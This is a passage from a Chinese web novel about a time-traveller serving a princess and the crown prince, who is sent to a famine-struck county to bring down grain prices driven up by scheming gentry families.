幽幽的烛光下,宛如细碎的冰,透着一丝破碎的美。 她抬手摸去泪水,“生在皇家,看似享尽荣华富贵,可又有哪一刻不是如履薄冰。 本宫长乐,何曾长乐! 母后薨逝,所有的重担全都压在了本宫的肩上。 朝堂上,他们称我贤明长公主,背地里却算计着如何将我赶尽杀绝。 后宫之中,嫔妃们表面敬重,暗地里同样盼着我失势。 因为没了我,康儿便再无后援。 我每日都要戴上最坚硬的面具,连呼吸都要小心翼翼。 季褚,你可知本宫活的到底有多憋屈。” 这这这,咋还打上感情牌了。 季褚也挺无语的,他这人胆子大起来,可以说什么都不怕,但就怕女人在自己面前哭哭啼啼。 “欲戴王冠 必承其重。” “是啊,道理我懂,可我若退了,必是万劫不复。 历朝历代废太子都没有好下场,身为他的阿姊,我们只能向前不能退后。” 得,还是个伏地狂魔。 “之前我容忍你,是因为你对我没有那种虚假的敬畏,反倒是像朋友一样,因为我之前就有一个这样的朋友,可惜她触犯了宫规被母后杖毙了。 而我也并非只是想利用你。 我现在想以朋友的身份问你,你是否愿意真心实意留下来帮我?” “我觉得其实当面首也还行。” “你……” 李清瑶顿时闹了个大红脸。 深吸了口气站起身,“我已经让人备好了马车,你有一晚上的时间考虑,选择走,天亮之前无人拦你去路。 你若留下,本宫也会说到做到。” 说完,她头也不回的朝着柴房外走去。 季褚来到外面,李清瑶已经离开,只留下一驾马车停在门口。 当即走上前牵着马车回了小院。 “季郎你没事吧!”怜香匆匆跑出屋,红红的眼眶,显然是刚刚哭过。 “我现在打算离开,也许以后只有粗茶淡饭,你可愿意随我离开?” “季郎去哪儿,妾便去哪。” “那就上车。” “啊,不收拾一下东西吗?” “不要了,以后再置办。” 一炷香后。 赶在宵禁之前,一驾马车冲出了西城门。 “殿下,已经走了。” 韩江雪疾步匆匆,走进了寝殿。 “终究是留住他的人,留不住他的心,罢了,随他去吧!”李清瑶幽幽一叹,“本宫发了,都下去吧!” …… 翌日。 下朝不久,太子便匆匆赶到了公主府。 “皇姐,今日朝会,言官提及颍昌府遭灾,尤其是长杜,长葛两县灾情最重,粮价一涨再涨,甚至出现了易子而食的场面,更有百姓乞讨抵京。 父皇龙颜震怒,将吾等皇子,诸位朝中重臣召到垂拱殿商议赈灾事宜。 然,去岁与北戎战争已经掏空了国库,昨日你我进献的一千五百万两,刚好填补军费,哪有多余粮食赈灾。 按说这种事应该交给诸位臣工头疼去,可三皇兄主动请缨前往长杜平粮价。 孤乃太子,自然也得为国分忧,便……便抢在大皇兄前面请缨,接下了平长葛粮价的担子……阿姊,孤是不是又着急了!” 李清瑶苦涩摇头,“太子身为储君,为国分忧,理当如此。 何况昨日你我姐弟出尽风头,老三肯定也要急着扳回一局,重新让父皇看到他的能力。” “我当时也是这样想的,可三皇兄不仅有皇后背后的范氏扶持,更得王妃会稽郑氏相助,一县粮需,两家稍聚足矣。 你我母族出身寒门,哪怕已经差人出去购粮,也是远水解不了近渴啊!” 太子说的这些李清瑶何尝不知,一股无力感瞬间袭遍了全身。 父皇讨厌世家。 可处处又离不开世家。 如今国库空虚,连京畿这等繁华之地都出现了饿殍,没有世族权贵支持,哪怕手里有钱,短时间内也恐难从世族权贵手里买到粮食。 其实说白了,历朝历代都一样。 一个大发国难财的机会出现,那些世族勋贵就跟闻到鱼腥的猫儿,都会不约而同的一拥而上。 没有千年的王朝,却有千年的世族说的就是这么个道理。 按说新的权贵应该与国同戚,不应该大发国难财,可别忘了,千年世族也是从勋贵演变而来。 又有哪家勋贵,不想变成千年世族啊。 可今时不同往日,他们兄妹二人看似风光无限,实则地位岌岌可危。 想用身份逼迫衮衮诸公把吃到嘴里的肉吐出来,只会适得其反。 不由得,她想起了季褚。 “或许他不走,应该会有办法吧!” “皇姐,季爱卿呢,他鬼点子多,不如叫他过来出谋划策。”李康道。 李清瑶正不知如何解释,却听外面有人来报,季褚求见。 李清瑶瞬间怔愣当场。 李康激动万分,“快,带他进来。” 第30章 李清瑶竟然选择色诱 他昨晚确确实实带着怜香跑了,可以说是抱着必死的决心。 有道是一日夫妻百日恩,为了不连累怜香,他把五千两都给了对方,让她半道回了第一次见面的那个小院。 约好明日天黑若不寻她,她便带着钱从此隐姓埋名,而且一口气跑出去了二十多里,就近找了个村庄过了一夜。 他在赌,赌李清瑶会不会派人来杀他。 毕竟天天提心吊胆的,容易短寿,不如一了百了。 尤其想到临别时,怜香抱着他哭哭啼啼的小表情,心碎了一整晚。 结果等了一宿,也没等到杀手。 可见李清瑶的信誉还是有保障的,至少现在有保障。 而且,见识到了城外景象的残酷,他觉得带着怜香能逃出百里不被难民劫匪砍了都是老天开眼。 谁让原主的身份只是一个有点文化,却别有用心潜伏在公主府的马夫。 原主要是嘎嘎乱杀的武将,拥有一身武艺,你看他逃不逃就完了。 所以说,世界那么大,还真不是想看就能看的,打败人的永远都是现实。 与其以后被贪官污吏剥削压榨,还不如回来,老老实实被李清瑶榨。 起码他现在官居五品,生活有保障,活一天算一天,以后的事儿以后再说。 不多时,季褚走进大殿,立马叩首行礼,“臣季褚,叩见太子殿下,长公主殿下。” “爱卿平身,赐座。” “谢太子殿下。” 季褚起身,给了李清瑶一个只有二人才能看懂的眼神。 李清瑶再怎么矜贵,也不过是个初经人事的少女,顿时臊的脸颊通红,只能端起茶盏,用那宽大的袖口掩饰尴尬,以及那份藏不住的喜悦。 不过天家贵女也不是一般小女子能比的,也就是嘬了口茶的工夫,她的脸色便已然恢复正常。 “不知爱卿,何事求见本宫?” “哦,臣来送那日计划的延续,为我公主府再开一项财源。”季褚赶忙把自己写的商业策划书递给婢女。 李康也很好奇,立马凑了过去,嘴里不由念出了声,“关于:公主饮啦奶茶店可行性方案?这倒是新奇的紧。” 李清瑶一言不发,慢慢翻动书页,逐字逐句仔仔细细看了起来。 对于现代人来说,再简单不过的商业策划,可对李清瑶姐弟二人,那就是闻所未闻的奇思妙想。 足足一炷香的时间,姐弟二人才消化掉里面的内容。 李康哈哈大笑,“卿果然是搞钱能手,他日孤登基,你便是孤的户部尚书。” “臣必当竭尽全力,誓死效忠二位殿下。”季褚忙感激行礼,心道:前几天还说老子有丞相之姿,今个就降级成了户部尚书,你小子画饼技术还真得再练练。 “爱卿无需多礼,你的忠诚孤看的到。”李康也是做足了礼贤下士的样子,起身亲自将季褚搀扶起来。 “如若二位殿下觉得此事可行,那臣便告退,这就安排人操办起来。”季褚准备离开,顺便把怜香接回来。 “此等小事,交给下面人去办就好。”李康开门见山,把今日之事全盘托出,“去岁北戎来犯,调空了京畿之地的常平仓,如今已经无粮可用。 本就多事之秋,又恰逢天灾,更是雪上加霜。 如今粮价连日暴涨,颍昌府处于重灾区,且多地已经出现了易子而食的景象。 皇姐虽已安排人手南下购粮,可远水解不了近渴,迟则生变,爱卿可愿意代孤前往长葛平抑粮价?” 季褚:…… 我这刚劝自己回来享福,你就派我出差吃苦。 盖了帽了,我的小北鼻。 “臣自然愿往,可臣刚刚接下皇家御冰监的职务……” 季褚还打算给他出个主意,让他安排别人去。 不就是有人囤积居奇,哄抬粮价嘛,这个他可太熟了。 范公荒政三策了解一下。 他想运筹帷幄,决胜千里之外,小小的装一下,顺便拔高一下份量。 结果李康压根不给说下去的机会,直接打断道:“爱卿大可放心,御冰监那边自有孤去说项,你且持孤金令代孤走这一遭,也让孤见识见识你的理政能力。 见令如见孤,大可放心施为。 待到功成,孤必为卿在圣人面前请功。” 看着李康随手掏出来的太子金令,季褚的嘴角狠狠抽搐了一下。 合着我不去都不行了。 不过正好,将在外军令有所不受,等你大婚过后我再回来,帮太子妃洞房的事儿谁爱去谁去吧! 这几天他也不是没打听,据说太子妃可是靖北候之女,上马便能与北戎人厮杀的狠人。 能不招惹还是不招人为妙。 这样想着,季褚突然觉得李康顺眼了不少,恭敬道:“臣必不负殿下所期!” 李清瑶看着李康,眼底露出一丝满意之色,她又岂能看不出,这是李康拉拢人心的手段。 不过一想到季褚那一肚子坏水,心里又不免担忧起来,提醒道:“季爱卿,灾民都是我大梁百姓,切不可胡来。” “还请殿下放心。” 李清瑶微微颔首,“江雪,你带一百亲卫随行,再遣三十暗卫,务必保证季大人此行顺利。” “喏!”韩江雪出列,立刻匆匆向外走去,挑选随行人手。 “竹儿,你随行伺候起居。” 竹儿领命,也立马离开前去收拾一路所行物资。 见她安排的如此仔细,季褚心里还怪暖和的。 “灾情紧急,那臣也去收拾收拾尽快动身吧!”季褚赶紧再次行礼告辞,准备快点溜走。 “等等!” 季褚心里咯噔一下,“公主还有什么吩咐?” “季爱卿可别忘了,你还是公主府府令,本宫奉旨操办太子纳妃庆典,还需你从旁协助。 速去速归,至多二十日,务必回来交差。” 季褚:…… 尼玛逃不过去了是吧。 “此去长葛,快马加鞭一个来回便要四日……” “本宫信你!” 季褚:…… “去吧,差事办的好,待你归来,本宫另有赏赐。”李清瑶端茶送客,同样给了季褚一个俩人都能看懂的眼神。 季褚也是服了,为了让自己不磨洋工,李清瑶竟然选择色诱! 如此一看,她安排韩江雪和竹儿随行,怕不仅仅是保护和照顾那么简单,说不定还有到期不归,强行把自己绑回来的意思。 事已至此,季褚彻底放弃挣扎。 毕竟,他身上已经打上了公主的印记。 一荣,未必俱荣,但一损肯定俱损。 “公主放心,二十日必归。”不过在这之前,还请其他人回避,臣有事要单独请教公主。” 此行看似保卫森严,可谁知道路上会出什么事。 想让马儿跑,不给马儿吃饱草怎么行。 “何事,难道孤也不能听?”李康一脸好奇。 李清瑶心头一颤,哪里不清楚季褚想做什么。 只是没想到季褚如此大胆,狠狠嗔了季褚一眼,随即说道:“康儿,你出宫的时间也不短了。” “好吧,那孤这便回宫,等着皇姐与季爱卿的好消息。” 送走李康,李清瑶立刻挥退婢女,转身怒斥。 “季褚,你好大的胆子,唔……” 不等她说完,季褚一把挽住了她的腰,将人拉入怀中,迎着李清瑶震惊错愕的目光,低头咬上了那软糯的香唇。 第31章 我就问你,本官能不能指使? 公主府外。 众亲卫整齐列队等待,足足等了一个时辰。 韩江雪双手抱肩,靠在马车前,一脸的不耐烦,“一个时辰了,怎得还没出来?” 竹儿掀开车帘也是一脸疑惑,不过还是解释道:“兴许公主还有其他事情交代,毕竟此行关乎一城百姓。 季府令他,他的手段过于……过于残忍了些。” 竹儿没直接说阴损,完全是强行帮他挽尊。 可韩江雪才没那么多顾忌,冷哼一声,“真是想不到,太子哥哥怎得也看重这等阴险恶毒之徒,表姐更是糊涂,让我保护他,万一有刺客,谁来保护表姐。” 竹儿哑口,根本不敢接茬。 人家虽是公主府武馆校尉,暗卫头领,可更是公主表妹临安郡主。 她蛐蛐两句行,竹儿一个贴身丫鬟,哪敢多言,只能放下车帘继续待在车厢等待。 季褚交代姬坤去把怜香接回来,一出府,就见到韩江雪臭着一张脸。 虽然他也挺不待见这个无脑的大熊妹妹,可此行百里,全赖对方保证安全,也是真不敢得罪狠了,拱手道:“韩大人,此行多费心了。” 韩江雪不耐烦道:“废什么话,上车!” 季褚向来是你敬我一尺,我还你一丈,“” 闻听此言,刚卸掉的火气再次腾腾燃烧起来,抬起手道:“扶本官上车。” “你在指使我?”韩江雪简直惊呆了,谁给这狗贼的胆气。 季褚一甩袖袍,手持太子金令直接怼到了韩江雪面前,“指使你怎么了,我就问你,本官能不能指使?” “你……能!”韩江雪咬牙切齿,但也只能妥协,抬手将季褚扶上了马车。 车厢很大,软榻两边放了好几个冰盆。 而且竹儿还贴心的准备了一些路上吃的瓜果,手里抱着扇子,随时准备帮忙扇风。 这哪里是去赈灾,这分明是去享受啊! 季褚满意至极,正准备夸赞竹儿两句。 就听韩江雪喊了一声出发,紧接着马车一阵晃动,差点没把季褚甩出去。 季褚哪里不清楚这是大熊妹妹报复自己,正准备训斥几句,帘子再次掀开,韩江雪已经钻了进来。 “你进来作甚?” “你以为我愿意进来,公主交代,要我贴身保护。”韩江雪冷冰冰的哼了一声,抱着剑便坐到了一旁便假寐起来。 竹儿看看这个,又看看那个,索性低头扇风,事不关己高高挂起。 季褚懒得搭理她,侧身倒在软踏上便开始闭目养神。 方才在公主闺房,打探着打探着,也让他打探到了一些额外信息。 她说二十日,并非规定二十日内平抑粮价,而是越快越好。 并且将朝堂上的一些事也和他说了。 季褚同样怀疑,三皇子用了一招阳谋,故意请缨就是想逼太子下场。 所以此行长葛,必然不会太平。 正所谓解铃还须系铃人,问题出在粮食上面,所以只要解决掉那些囤积居奇哄抬粮价的奸商,一切阴谋都将失效。 而且他也得到了公主的保证,只要不是造反,朝堂上的阻力她会摆平。 当然,前提是有理有据,也不能让她太难做。 毕竟,杀人也得讲究证据,否则随心所欲想杀就杀,岂不乱了法度。 现在明面有一百多人保护,太子金令还能调动两千府军。 有权,有兵。 季褚想了半天,发现这趟活的难度真心不大。 至于那群大发国难财的王八蛋,历朝历代都是人人得儿诛之的货色,压根也不用留情。 想到李清瑶那惹火的朱唇,想到临行前谈的条件,季褚沉沉睡了过去。 然而,没一会儿,便被马车的晃动给摇醒了。 掀开帘子往外一看,发现已经出了京城。 季褚看了一眼稳如泰山,闭眼假寐的韩江雪,从面前的果盘里扯下一颗葡萄便丢了过去。 刷! 一道寒芒闪过。 快到季褚都没看清对方是怎么出剑收剑,小小一颗葡萄便裂成两半落到了车厢里。 季褚情不自禁的咽了口唾沫。 早就听闻对方武力超群,没想到这么厉害。 迎着对方双满是杀意的注视,季褚扯了扯唇,“早就听闻韩大人功夫了得,本官只是想试试,没想到传言非虚,盛名之下无虚士,呵呵,呵呵呵呵……” “有病!” 说完,韩江雪再次闭眸靠在了车厢上。 季褚扯了扯唇,“不知韩大人师承何方,还收不收徒?” “不收!” “这一路还不知要走多久,要不韩大人先吃点水果?” “不吃!” 季褚:…… 见对方不想搭理自己,他也只好作罢,再次背过身,躺在了软踏上。 可离着京城越远,路就越颠。 见他如同烙饼翻来覆去,竹儿轻声道:“大人,是否不舒服,要不枕在奴婢腿上?” 季褚想说好啊,可一起身就见韩江雪面色不善的看来,只好悻悻一笑,“不用了。” 说完,他掀开帘子看向了窗外的荒凉,眼神也渐渐变的深沉起来。 车队走走停停,期间还遇到了两伙强盗正在抢劫商队,那自然是嘎嘎乱杀。 他负责嘎嘎,韩江雪负责乱杀。 若非亲眼所见,他还真不知道什么叫杀人如同杀鸡。 一人一剑,飞入强盗群里,几十人盏茶时间倒了一地。 给他一把刀捆着挨个捅,他也捅不了那么快,可人家身上愣是一点血都没沾。 终于在第三日傍晚赶到了长葛城。 长葛县令高士奇早就带着城中衙役,大小官员,出城迎接,等的那叫一个望眼欲穿。 车子刚刚停稳,立马带领大小官员齐齐跪到了车前,“下官高士奇恭迎天使。” “高大人无需多礼。”季褚钻出马车,笑着上前将人搀扶起来。 见到上官如此年轻,高士奇顿时一愣,紧接着,那眼神肉眼可见的开始失望。 他以为朝廷会运粮过来,结果提前派出打探的衙役汇报,并未发现粮车。 没粮车也就算了,朝廷倒是派个老成持重的上官啊。 这年轻的上官,能成什么事。 是满朝衮衮诸公没意识到长葛灾情的严重性吗? 不,是满朝朱紫压根不关心底层百姓的死活! 若非十数万灾民等待赈济,他今日非得挂印而去不可。 “上官一行舟车劳顿,吾已在府衙设下薄宴,为大人接风洗尘,请大人上车,随下关一路进城。” “走着进城吧,顺便与我说说城中情况。”季褚道。 有韩江雪在,安全感满满,他也正好看看难民的实际情况。 听他要步行进城,高士奇心下稍霁,起码没有一来便脚不沾泥,说明这位季大人确实是奔着了解灾情来的。 想明白这一点,高士奇立马弯腰做请,“大人,请!” 第32章 叉出去 身为此生无悔入华夏的穿越者,季褚对于古代灾民的想象完全停留在影视作品里。 很惨。 可现实更惨。 道路两边的灾民就像是风吹散的枯叶,零零散散铺面了城墙下的空地,放眼看去,一眼望不到头。 与其说那是一个个瘦骨嶙峋的人,不如说那是一具具已经腐朽的躯体。 零散几口冒着热气的锅,搅起的米汤也看不到几颗米粒,倒是锅底跳动的火苗映的那一张张脸饥饿到扭曲。 “大人,如今县里的存粮已经不足千石,也只能做到一日两次,一次一勺热汤,勉强吊着一口气。 即便如此,也只能勉强再撑十日。”高士奇一脸惆怅,“如今城中粮价已从正常年月的一斗八十文,足足翻了三倍,尤其是斤两日,一日比一日涨得快。 今日挂牌价已经达到了两百七十文。” 大梁一两银子一千钱,历朝历代其实都差不多,上下层贫富差距巨大。 季褚几天时间就帮长公主收割了上千万两,也不怪梁皇赏赐那般丰厚。 季褚点点头,什么都没说,抬腿朝着城门中走去。 同情归同情,但饿坏的人什么事都做得出来,他可不会一上来,就让侍卫把带的粮食分发下去。 僧都肉少,那不仅解决不了问题,反而还会引发更大的骚乱。 进入内城倒是好了不少,他甚至还看到几家酒楼正在营业,门口停着好几架马车。 很快一行人便来到了府衙。 高士奇带人来到后衙,招呼季褚上座,不多时,几道热气腾腾却没什么油水的菜便摆上了桌。 “不知大人此行准备如何赈灾,是否有粮车还在路上?”高士奇试探道。 季褚看了看菜,又看了看同样瘦骨嶙峋的高士奇,心下已经做出了判断,“并无。” “这……” 虽然早有预料,可真当确定后续没有粮食送达,高士奇的心还是忍不住一阵冰凉。 “先吃饭吧,太子与长公主殿下对此事相当重视,几日之前便遣人前往江淮购粮。”季褚一边说,一边拿起筷子。 竹儿很是乖巧的拿起酒壶倒酒,惹得韩江雪恨不能给季褚屁股上来一脚。 你代表的可是公主的脸面,都什么时候了,不赶紧升衙解决问题,竟然还有心思吃吃喝喝。 原本她对季褚屈尊下车,体恤民情,还挺满意的。 至少没有堕了公主的名声。 现在来看,对他还是太好了,今晚必须让他给自己洗脚。 “可是季大人,远水解不了近渴啊!” “我知道啊,所以我来了,吃饭吧,不是什么难事。”季褚淡淡道:“这菜火大了,下次稍微一煮便出锅,口感会更好。” 闻言,韩江雪气的差点拔剑。 可高士奇却眼前一亮。 他刚才听到了什么,不是什么难事? 当即追问道:“季大人,下官是否耳背,您能否再说一遍?若如大人所言真不是什么难事,下官必带长葛数万百姓为大人修建生祠。” 说完,起身,立马深深一躬礼。 季褚赶忙将人托起,呵呵笑道:“没人骂本官便好,修生祠的事以后再说。” 这话一出,直接给众人整迷糊了。 好在季褚也没有继续卖关子,突然变得严肃起来,“既然无粮可用,那就传令,停止一切官粜行为,城外赈灾保持不变。” 只有不足千石的粮食,就这点东西,季褚还真怕玩漏了。 所以,为了救更多的人,眼下也只能再苦一苦城中百姓。 而他的话,无疑是天雷滚滚,劈的众人目瞪口呆。 高士奇从天堂瞬间跌入地狱,那双眼几乎可以喷出火来。 也就仗着文人风骨,还有所克制,不然,还吃饭,吃粑粑吧! “大人莫非是在消遣本官? 城中暂时稳定,是因为粮价虽高,至少还有粮食可买不至于走投无路,此令下达,那些利欲熏心的商人,肯定会借机将粮价抬到一个天文数字。 城外难民无家可归,有一口热汤,暂时还不会生出大乱子。可一旦城中生乱,城外必乱。 人心惶惶,此乃官逼民反,下官恕难从命。” “你看你,急什么。”季褚扶着对方就要坐好。 来之前,他就已经了解了高士奇的信息。 是个清官,至少明面上是。 现在一看,倒也没多少出入。 “大人若不说出个所以然,本官不敢坐。” “那你就站着吧!” 众人:…… 季褚端坐回了椅子,“高大人,不足千石粮食,能够解决眼下的问题吗? 城外赈灾,你可以再少放一些米,可又能撑多久? 吃到最后一粒米不剩,然后呢? 再说城内,如今的粮价已经高达两百七十文。 你把府库内的粮食全部投入市场,能否抑制粮价上涨?” “杯水车薪……”高士奇顿时就被问的哑口无言,只是一张脸越来越青。 韩江雪也是若有所思,就剩不足千石粮食,卖完吃完,结果不还是一样? 只不过,一早一晚罢了。 “大人说的下官自然明白,可依旧不敢苟同。”高士奇道。 “无需你苟同,按令行事即可。”季褚话音一冷。 眼下时间就是金钱,他哪里有时间跟个穷酸腐儒解释那么多。 隔墙有耳,万一消息走漏,他还怎么拿那千石粮食做文章。 “本官一路舟车劳顿,虽然寡淡了些,但也能勉强果腹。 可城中那些大户人家每天吃的,不比这差吧? 方才一路走来,我可见到城中好几家酒楼还在营业。 这说明什么,说明你眼里根本没有本官,没有朝廷。”说完,季褚重重摔了筷子。 高士奇气的肺都要炸了,“下官绝无此意。” “最好没有。”季褚道;“高大人,本官奉旨前来,你只需遵令行事,不想背上抗旨不尊的罪名,就立刻去做。” 高士奇的面色一变再变。 正琢磨如何令季褚收回命令,就听季褚不容置疑的一拍桌子,“怎么,难道让本官派人架着你脖子去?” “大人……” “叉出去……”季褚不耐烦的摆摆手。 韩江雪有心想说什么,可这时高士奇却率先坐不住了,“下官领命这便安排人张贴榜文,但若就此生乱,下官便是豁出性命,也要参季大人一本。” 说完,高士奇冷哼一声,一甩衣袍拂袖而去。 他算是看出来了,这年轻的上官压根就是什么都不懂。 可大乱就在眼前,关乎到长葛数万灾民性命,他可不能稀里糊涂就被砍了。 要死,也得溅这年轻狗官一身血。 “季褚,赈灾不是儿戏。”韩江雪冷声提醒。 季褚一屁股坐回椅子,“放心,我心里有数。先吃饭吧,十日之内粮价不降,我伸长脖子给你砍。 但这十日之内,不许再用那眼神盯着我脖子看。 好家伙,凉飕飕的直冒冷风,本官方才差点没崩住。 竹儿倒酒,先给本官压压惊。” 第33章 猴和鸡 府衙值房。 见高士奇黑着一张脸进来,主簿等人立马纷纷起身。 “大人可问清楚了,后续可有粮草送来?”主簿问道。 高士奇摇头叹息,坐到太师椅上端起了凉茶。 见状,值房内众人全都面面相觑。 主簿上前,小声问道:“那上官如何安排接下来的事宜,总得有个章程吧!” 高士奇心里早就给季褚打上了奸佞小人,竖子不足与谋的标签,可眼下也不得不按令行事。 放下茶盏,便将刚才的对话一五一十的传达。 闻言,现场顿时一片哗然。 有人愤怒,大骂胡闹。 也有人愤怒中藏着一丝欣喜。 后衙。 酒桌气氛已经不似方才那般剑拔弩张。 韩江雪放下宝剑,端正坐直,“你怎么敢确定,稍后会有人城中大户前来宴请?” “这就是人性啊!”季褚端起酒杯浅浅的抿了一口,“这高大人是个清官,可下面的人未必全和高大人一样。 高大人是流官,其他官员不是。 有些官员或许与当地大户沆瀣一气,有些官员或许本身就是当地大户。 而能把粮价抬到这种程度,是一家一户能做到的吗?所以,要说这些人没有上下沆瀣,本官是不信的。 我一来便这般懂事,让他们存的粮食能够卖出更高价格,于情于理他们也得派代表拜会本官。” “那你还吃,稍后的宴席肯定比这一桌丰盛。” “万一今晚不来呢!” 韩江雪:…… 这两日一直赶路,吃不好睡不好,如今有些汤汤水水,别说季褚了,她看到也饿。 “快点吃吧,还得麻烦你保护我,还有,不管宴席上我说什么做什么,你都给我稳住了。” “是,季大人。”韩江雪白了季褚一眼,也拿起筷子开始大快朵颐。 “你慢点,别忘了自己的身份,简直有辱斯文。” “要你管!”韩江雪轻哼一声,“该记住身份的是你,哪怕如今你得了一个副监正的职务也不过与我平级,而且吾乃郡主,你有官无爵,再敢多事,砍了你也是白砍。” 季褚懒得对方,夹了筷子菜给竹儿,惹得小丫头脸上顿时浮起一抹臊红。 这两日的相处,季褚也算是摸清了这二人的脉。 韩江雪自不必多提,熊大无脑,有自己的主见,还很暴躁,但只要把道理讲清楚,就能听得进去。 竹儿伺候的很尽心,但同样很是傲娇,不过只要一对她好,就会脸红,失去主观意见。季褚现在有很大的信心策反对方。 别看他下定决心给公主卖命,可也不希望自己的一举一动都处于监视之中。 …… 城中,吕家。 朱漆大门镌刻"福荫绵长"四个大字。 门环兽首衔铜环,在暮光中泛着冷冽光泽。门前一对青石貔貅镇守,阶前立着"文魁"旗杆,昭示着府中曾有进士及第。 门内更是影绘"松鹤延年"图,转过照壁便是三重垂花门,每道门楣悬匾额:"慎修思永""诗礼传家""积善余庆"。 足见吕氏底蕴。 而此刻,后花园的假山旁,一道道精致菜肴,顺着涓涓细流自上而下。 吕张王赵郑,五大家主齐聚一堂。 不过以往谈笑风生的流水席,此刻却显得异常沉闷,严肃。 郑家家主面色深沉,“吕老,主家来信,让吾不惜一切代价抬高粮价,如今太子的人也到了,肯定会想尽一切办法降低粮价! 如何抉择,还请诸位早下决断。” 五大家族盘踞长葛百年,早已你中有我,我中有你,同气连枝。 上面没派人下来,一切好说。 一起发财,一起进退。 可上面如今来人了,而且还关乎到了皇子之间的争斗。 自古卷入此事的家族,要么更进一步,要么就此沉沦。 而长葛郑家出身会稽郑氏,如今三王妃便是郑氏嫡女,长葛郑家天然站在三皇子这边。 可长葛乱不乱,五家说了算,长葛郑家也不过是垫底的存在,真正还得看吕家怎么选。 可吕家家主表示我也很难办啊! 吕家能够发展至此,靠的就是不站,不选,谁当皇帝都与我无关,反正谁当皇帝,也少不了我吕家的官儿。 本想趁着天灾大赚一笔,让家族更进一步。 结果钱没赚多少,反倒是被皇子们盯上,把他家地盘当成了较量的战场,他上哪儿说理去。 关乎到家族延续的事儿,吕老不得不慎重。 然而,事到如今,想不站不选也不行了。 吕老捻着胡须,一一看向另外三人,“诸位是什么意思?” 张家家主:“表兄如何选,表弟就怎么选。” 王家家主:“太子势微,没有强力家族支持,既然郑氏主家传来消息,让吾等配合,我倒是觉得还可按照原计划行事。” 赵家家主也点头附和道:“没错,握住这次机会,便是从龙之功,往后三代无忧。” 闻听此言,郑家家主立刻端起酒杯,“诸位,满饮!” “饮!” 众人放下酒杯,郑家家主说道:“吕老,此次我等操纵粮价,图的便是让我等家族百尺竿头,更进一步。 如今计划不变,名利双收,何乐而不为呢?” 为为为,为个屁啊! 吕老纠结的差点把胡子揪掉。 如今五大家族皆以吕家为首,可一旦事成,郑家借上三皇子的势,转瞬便能凌驾于其他家族之上。 毕竟,他们吕家可没会稽郑氏那层姻亲关系。 一直当大哥的人,怎么可能愿意给曾经的小弟当小弟。 这是吕老最不想看到的。 “郑家主说的没错,然,吾心甚是忧虑啊。”吕老叹息一声。 “还请吕老解惑。” “诸位只看其一,并未窥得全部。”吕老道:“吾之忧虑便是太子。 郑家主方才所言句句在理, 牵扯到太子与三皇子之间的争斗,已并非我五家是否能够赚取更多财货。 三皇子可谴会稽郑氏传信,太子遣人前来未必就不敢亮刀杀人。 事已至此,你我终究不过是一只鸡。 具体谁当猴,就看那把刀要先落在哪家头上。” “我听表兄的……” “太子怎么敢,难道他不顾及名声吗?” “就是啊,随意屠戮士绅,岂非明君所为,吕老多虑了。” “真是我多虑吗?当不上君,何来明不明一说?”吕老道:“我等哄抬粮价,自认为做的隐秘。可别忘了,欲加之罪何患无辞。 并非我危言耸听,届时满城百姓也会令那只鸡肯定会死的很惨。” 闻言,众人再次陷入沉默。 郑家主倒是想反驳,可心里也不免打起了鼓。 在做诸位,只怕全是猴,就他郑家一只鸡,毕竟,没有哪家比他们郑家更适合当那只鸡! 而就在这时,管家匆匆而来,对着吕老小声嘀咕几句。 第34章 本官来了,青天就来了 “当真?”吕老浑浊的小眼珠子顿时亮堂起来。 “确实如此。”管家小声道。 “哈哈哈哈……”吕老一缕胡须,“天助我也,你且下去。” “吕老何故发笑?”郑家主有些忐忑的问道。 “方才府衙那边传来消息,你们猜测那位上官下的第一道政令为何?” “表兄,您就别卖关子了,我刚纳的十三岁小妾还在房中等我。” “你啊你啊,越老越不羞。”吕老端起酒盅滋溜一口,“那位大人下令停止一切官粜行为。” 闻言,众人全都惊的目瞪口呆。 “此乃棒槌行为啊,县令会同意?” “自然不同意,高县令想要阻止,上官却要遣人将他叉出去,哈哈哈哈……” “怎会如此?怎会如此啊!” 众人嘴上这样问,可那笑声已经丝毫不带掩饰。 “哈哈哈哈,怎会如此?弱冠一稚子,岂懂为官理政。 据闻在这之前不过是公主府一马夫,亏得我方才还那般担忧。如今看来,连此等卑贱之人都能派出来当钦差,太子确实不如三皇子也。” 吕老倒也是心思通透之人,看清形势立刻做出选择。 “原来如此,原来如此。”郑家主彻底放下心,发自内心的笑了起来,“吕老所言不对,那里是弱冠一稚子,分明是吾等的送财童子。” “诸君满饮,且随吾一同拜访,也好不失了礼仪。” “是极,是极。” “饮!” “饮!” “哈哈哈哈……” …… 府衙。 高士奇刚刚安排完工作,就听下人来报,五大家主齐聚,要拜访上官。 他不敢怠慢,立刻安排人伺候,匆匆奔向了后衙。 这会儿宴席已经结束,季褚正在优哉游哉的享受竹儿的捏肩服务。 韩江雪匆匆进屋,“高大人求见。” “请他进来。” 不多时,高士奇便跟着韩江雪一同进屋,“大人,城中五大家族家主前来拜访。” 季褚呵呵一笑,“没想到来的挺快的,宣!” 高士奇犹豫了一下,扑通一下跪在了地上,额叩青砖,“还请大人看在满城数万百姓的份上,无论如何也要说动五大家族,让他们捐出一些钱粮赈济灾民。” 季褚微微皱眉,“高大人你先起来。” “还请大人答应下官。” 季褚冷笑,“本官问你,我让他们捐,他们就会捐吗? 即便真的捐,又能捐多少? 百石?千石? 这些粮食又是否可以令粮价回归正常? 不是本官说你,你好歹也是一地父母,如果连求人不如求己的道理都不懂,动不动就想着求别人施舍,你这辈子也就到头了。” 高士奇为官数载,确实被人训斥过。 可你季褚哪里来的底气说教? 马夫出身,为官也不过寥寥数日。 这种感觉就好似私塾先生,被堂下稚子质疑你不懂教课一样。 既憋屈,又耻辱。 那脸色是越来越黑,“那下官便拭目以待。” “宣吧!” 高士奇起身,不多时便带了五个老头走进房间。 “吾等拜见上官!” “诸位免礼。”见是一帮老头,而且穿的全部都是寻常百姓穿的布杉,季褚瞬间乐了,略带狐疑的看向了高士奇,“高大人,这便是盘踞长葛的五大家族家主?你确定不是路边乞丐冒充的?” 高士奇虽然有些厌恶季褚,但更厌恶这五大家主。 明明老基霸有钱了,偏偏穿成这样装穷,恶心谁呢? 不过季褚拿乞丐暗讽五人,倒是让他心里稍微痛快了些,“大人明鉴,起初下官也差点认错,仔细辨之发现还真是五大家主,如假包换!” 几人全都人老成精,岂能听不出二人的嘲讽。 吕老率先开口,“上官有所不知,天降奇灾,赤地千里,饿殍载道,甚有易子而食者。吾等见之,未尝不恻然动容。 虽金银珠玉华美非常,然悬于腰间重若千钧,令人脊梁难直。故散尽家资,以济饥民。” 